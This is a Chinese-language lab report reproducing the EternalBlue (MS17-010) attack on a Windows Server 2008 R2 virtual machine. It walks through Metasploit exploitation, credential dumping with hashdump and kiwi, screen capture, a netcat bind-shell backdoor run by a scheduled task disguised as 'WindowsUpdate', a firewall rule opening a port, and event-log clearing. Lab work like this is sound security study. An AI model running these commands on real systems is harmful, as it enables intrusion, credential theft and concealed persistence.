永恒之蓝(MS17-010)漏洞复现报告
1. 漏洞概述
| 项目 | 内容 | ||
|---|---|---|---|
| 漏洞编号 | MS17-010(微软安全公告),包含 CVE-2017-0143 ~ CVE-2017-0148 | ||
| 漏洞名称 | EternalBlue(永恒之蓝) | ||
| 漏洞类型 | SMBv1 协议远程代码执行(RCE),内核级缓冲区溢出 | ||
| 影响组件 | Windows SMBv1 服务(内核驱动 srv.sys),端口 445 | ||
| 危害等级 | 高危(CVSS 9.8/10),可获取 SYSTEM 权限 | ||
| 影响系统 | |||
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | ||
| 客户端系统 | Windows NT 4.0、Windows 2000 Professional、Windows XP、Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows RT 8.1、Windows 10(早期版本,如 1507、1511、1607) | ||
| 服务器系统 | Windows Server 2000、Windows Server 2003、Windows Server 2008(含 R2)、Windows Server 2012(含 R2)、Windows Server 2016 |
背景:永恒之蓝是 2017 年 WannaCry 勒索病毒传播所依赖的核心漏洞。攻击者可向目标发送特制的 SMB 请求,触发内核缓冲区溢出,进而执行任意代码,完全控制目标主机。
2. 漏洞原理
2.1 漏洞根源:整数溢出导致长度计算错误
SMBv1 协议在处理文件扩展属性(FEA,File Extended Attributes)时,需要先计算 FEA 列表的总长度,然后分配内核缓冲区。计算长度的函数为 SrvOs2FeaListSizeToNt。
缺陷:该函数内部本应用 32 位无符号整数累加,但程序员错误地使用了 16 位无符号整数 作为累加器。16 位变量最大值 65535。
当攻击者构造一个总长度超过 65535 字节的 FEA 列表(例如 66000 字节)时,累加过程会发生整数溢出:实际存储值 = 真实长度 mod 65536。66000 mod 65536 = 465。
函数返回 465,而不是真实的 66000。
2.2 触发缓冲区溢出
SMB 驱动根据返回的错误长度 465,分配了一个 465 字节的内核缓冲区。随后,驱动将攻击者发送的 66000 字节 FEA 列表复制到这个缓冲区中。
复制数据远超缓冲区容量,导致内核缓冲区溢出,覆盖相邻内存区域,包括函数返回地址、异常处理指针等控制流关键数据。
2.3 精确控制与 shellcode 执行
攻击者在超长 FEA 列表中,在特定偏移处预先布置:
- shellcode(一段恶意机器码,用于反弹 Meterpreter 会话)
- 覆盖返回地址的新值(指向 shellcode 的内存地址)
当函数返回时,CPU 跳转到 shellcode,执行后反弹一个 Meterpreter 会话,攻击者获得 SYSTEM 权限。
2.4 为什么该漏洞极其危险?
- 无需认证:直接发送 SMB 包,不需要用户名密码。
- 内核级利用:直接攻破操作系统内核,获得最高权限。
- 稳定性高:Metasploit 模块通过辅助漏洞(CVE-2017-0145、0146 等)精确控制内存布局,成功率极高。
- 可蠕虫化:WannaCry 利用此漏洞实现自我复制,短时间内感染数十万台机器。
3. 实验环境
| 角色 | 操作系统 | IP 地址 | 关键配置 |
|---|---|---|---|
| 攻击机 | Kali Linux 2025.3 | 192.168.10.224 | 预装 Metasploit、nmap、netcat |
| 靶机 | Windows Server 2008 R2 SP1 | 192.168.10.142 | 未打 MS17-010 补丁,SMBv1 开启,防火墙关闭(或放行 445 端口) |
网络连接:两台虚拟机使用 VMware 仅主机模式或同一 NAT 网络,确保互通。
能够ping通靶机,证明两台主机互通。
4. 信息收集与漏洞验证
4.1 端口扫描
命令:nmap -T4 -O -v -sV 192.168.10.142
结果:可以看到,端口445是开启的,后面连带着服务:microsoft-ds,还有靶机版本。表明 SMB 服务可访问。
4.2 漏洞检测
在这个实验中,之前也用greenborn进行过漏洞扫描,扫描出了靶机可能存在的漏洞,可以看到靶机是存在永恒之蓝漏洞的,下面是部分扫描截图。
虽然已经通过greenborn扫描出了漏洞的存在,但是还是使用使用 Nmap 的脚本再检测一遍检测漏洞吧:
命令:nmap --script vuln 192.168.10.142
从扫描结果中可以看出,靶机存在永恒之蓝的概率非常大,现在已经基本确定永恒之蓝的存在,下一步可以开始漏洞的利用了。
5. 漏洞利用
启动 Metasploit,使用搜索永恒之蓝(ms17-010)。
命令:msfconsole
search ms17-010
搜索ms17-010后出现了五个工具,其中0号工具位于渗透攻击模块,这个工具就是进行漏洞利用的工具;3号工具可以看到位于辅助模块,从描述中可以看到是可以用来检测永恒之蓝的存在的。接下来可以尝试使用3号工具再次检测漏洞的存在
从截图中可以看到永恒之蓝确实是有很大概率存在。到现在为止我已经用了三个方式来检测该漏洞的存在,接下来就是使用0号工具对永恒之蓝进行漏洞的利用。
命令:use 0
set rhosts 192.168.10.142
从截图中可以看到,选择工具0设置好靶机ip后运行工具,出现了meterpreter会话,到这里我们就成功通过这个工具进入了对方主机,完成了漏洞的复现。
6. 后渗透操作
接下来从这到后面的部分都是我进行的简单的后渗透操作,例如屏幕实时共享、截图、进程迁移、植入后门木马等等。
6.1 查看当前权限与系统信息
命令:getuid
sysinfo
从这可以看出,我们已经通过永恒之蓝成功打入了靶机并取得了最高权限。
6.2 进程迁移(提高稳定性与隐蔽性)
由于原始漏洞进程(如 lsass.exe 或 spoolsv.exe)可能不稳定且容易被发现,且易被 EDR 监控。需迁移到用户级交互进程。
下面是我查到的一些进程选择原则和权限使用策略
-
优先选择用户交互进程
- 若目标主机已有用户登录,首选迁移到
explorer.exe。该进程稳定、与桌面交互,支持键盘记录、屏幕截图等操作,且进程名正常,不易引起怀疑。
- 若目标主机已有用户登录,首选迁移到
-
若无人登录(停留在登录界面)
- 迁移到
winlogon.exe。该进程负责登录认证,同样稳定且可捕获用户输入的密码。
- 迁移到
-
需要执行高权限操作(如抓取哈希、读取 LSASS 内存)时
- 临时迁移到
lsass.exe或services.exe等 SYSTEM 权限进程,操作完成后立即迁回稳定进程。
- 临时迁移到
-
避免选择极易崩溃或敏感的系统进程
- 例如
csrss.exe、smss.exe等,注入不当可能导致系统蓝屏。
- 例如
权限使用策略:遵循“最小权限原则”与“按需提权”相结合。日常后渗透操作(截图、键盘记录、文件浏览)在 explorer.exe(Administrator 权限)下完成;仅在需要抓取哈希、读取 LSASS 内存等高权限操作时,临时迁移到 lsass.exe(SYSTEM 权限),操作完毕后立即迁回 explorer.exe。这样既保证了会话的稳定性与隐蔽性,又能在必要时获取足够权限,避免因长期驻留 SYSTEM 进程而引发系统崩溃或触发安全告警。
进程迁移
命令:ps(可以查到靶机正在运行的进程)
migrate <explorer.exe 的 PID>
由于ps查看到的进程太多了不方便截图我就没有截图,但是我使用ps -S命令直接搜索到了目标进程explorer.exe可以看到它的PID是2861,接下来使用命令migrate2861就可以成功迁移进程到explorer.exe中
6.3 抓取密码哈希与明文
-
NTLM 哈希(用于哈希传递攻击):
命令:hashdump
其中 LM 哈希为固定占位符(表示禁用),NTLM 哈希可离线破解。
-
明文密码(如果 LSASS 中有明文存储):
命令:load kiwi
creds_all成功时输出账户名与明文密码。
这里出现了错误,是由于我之前迁移进程到了administor权限下没有system权限导致运行失败,这进一步验证了之前说的权限使用策略。接下来把进程迁移到system权限中再次验证就可以了(执行完后要记得迁移回来)。
这可以看到,迁移到了system权限下的进程后能成功查看到明文密码。
注意:
kiwi 需要 SYSTEM 权限,且目标操作系统需允许明文密码缓存(默认 Win2008 R2 可能已禁用,但实验环境可调策略)。若失败,不影响整体。
6.4 屏幕截图与实时监控
-
单次截图:
命令:screenshot
保存当前桌面截图到攻击机,这里是已经成功截屏了,截屏的图片就保存在图中的路径。
-
实时屏幕共享(通过浏览器):
命令:screenshare
启动 HTTP 服务,访问提供的 URL 即可实时观看靶机屏幕,这里是正在共享了已经,输入完命令后会自动跳转到浏览器,在浏览器里面可以看到实时内容。这个共享好像有点吃配置,开始我设置的2Gb的内存,做屏幕共享的时候卡死了,调到4Gb就没有这个情况了。
7. 持久化后门(即使漏洞修复仍可控制)
为了防止靶机安装补丁后失去访问,植入独立后门并设置开机自启。
7.1 上传 nc.exe
bash
命令:upload /usr/share/windows-binaries/nc.exe C:\Windows\System32\
执行命令后可以看到nc.exe已经成功上传到了靶机对应的路径。 nc是kali里面自带的一款后门程序,默认路径就是命令中的路径
nc 是经典网络工具,可监听端口并绑定 cmd。
7.2 防火墙放行端口(或临时关闭防火墙)
由于外部想要连接进来要经过防火墙,所以通过命令开启一个防火墙后门端口,让nc.exe监听这个端口,后续就可以通过这个端口访问靶机 也可以直接关闭防火墙,但是这样容易被管理员发现,所以选择开启一个后门端口更加稳妥。
shell chcp 65001
netsh firewall add portopening tcp 444 backdoor enable all
exit
可以看到一个名为backdoor的规则被创建了。
7.3 创建计划任务自启动
为了保证这个后门能够长期使用,可以创建一个计划任务设置为开机自启动
shell
schtasks /create /tn "WindowsUpdate" /ru SYSTEM /tr "C:\Windows\System32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
exit
可以看到计划任务中多出了一个我们刚刚创建的nc任务,这个名字可以改成windowsupdate之类的名字,虽然还是容易被发现,但是总好过我这样nc这么明显的名字吧。。
7.4 测试后门连接
在 Kali 端:
命令:nc 192.168.10.142 444
成功连接后出现 cmd 提示符,可执行任意命令。
8. 痕迹清理
攻击后应清除系统日志,减少被溯源风险。
bash
clearev
该命令会清除应用程序、安全、系统三类事件日志。
注意:clearev 本身会在安全日志中留下事件 ID 1102(日志被清空),但实验环境可接受。更高级的清理可使用 wevtutil 选择性删除。
9. 防御建议
安装补丁程序,这是最彻底的方式
从微软官方下载好补丁程序后运行
重启后回到kali中使用msf中的检测工具再次检测发现永恒之蓝漏洞不存在了
重新打开一个终端尝试用我们植入的后门程序尝试连接
从截图可以看出,漏洞被修复后仍可以使用我们植入的后门木马成功连接进入终端,说明这个简单的持久化后门是成功了的。
10. 总结
本次实验完整复现了永恒之蓝(MS17-010)漏洞从信息收集、漏洞利用、后渗透到持久化控制的全部攻击链。通过实践,我深入理解了以下关键点:
- 漏洞原理:SMBv1 协议在处理文件扩展属性(FEA)时,因整数溢出导致内核缓冲区溢出,攻击者可借此远程执行任意代码并获得 SYSTEM 权限。
- 攻击流程:使用 Nmap 进行端口扫描与漏洞验证,通过 Metasploit 的
ms17_010_eternalblue模块成功获取 Meterpreter 会话,随后完成进程迁移、密码抓取、键盘记录、屏幕监控等后渗透操作。 - 权限维持:通过上传
nc.exe并创建计划任务,实现了系统重启后的持久化控制,同时利用clearev清理痕迹,模拟真实攻击的收尾工作。 - 防御视角:深刻认识到及时安装补丁(MS17-010)、关闭 SMBv1 协议、网络封堵 445 端口以及启用 EDR 等纵深防御措施的重要性。
11.参考资料
| 原理分析 | 奇安信威胁情报中心:永恒之蓝深度分析 | ti.qianxin.com/blog/articl… |
| 原理分析 | 阿里云开发者社区:永恒之蓝漏洞攻击原理与防护加固 | developer.aliyun.com/article/149… |
| 复现案例 | CSDN:永恒之蓝漏洞详细复现 | blog.csdn.net/mooyuan/art… |
| 复现案例 | 博客园:永恒之蓝漏洞复现 | www.cnblogs.com/yuyi123/p/1… |
| 复现案例 | 阿里云开发者社区:MS17-010漏洞利用实战 | developer.aliyun.com/article/149… |
| 复现案例 | 腾讯云开发者社区:永恒之蓝漏洞详解与复现 | cloud.tencent.cn/developer/a… |
| 补丁下载 | 微软官方补丁 KB4012598 | www.catalog.update.microsoft.com/Search.aspx… |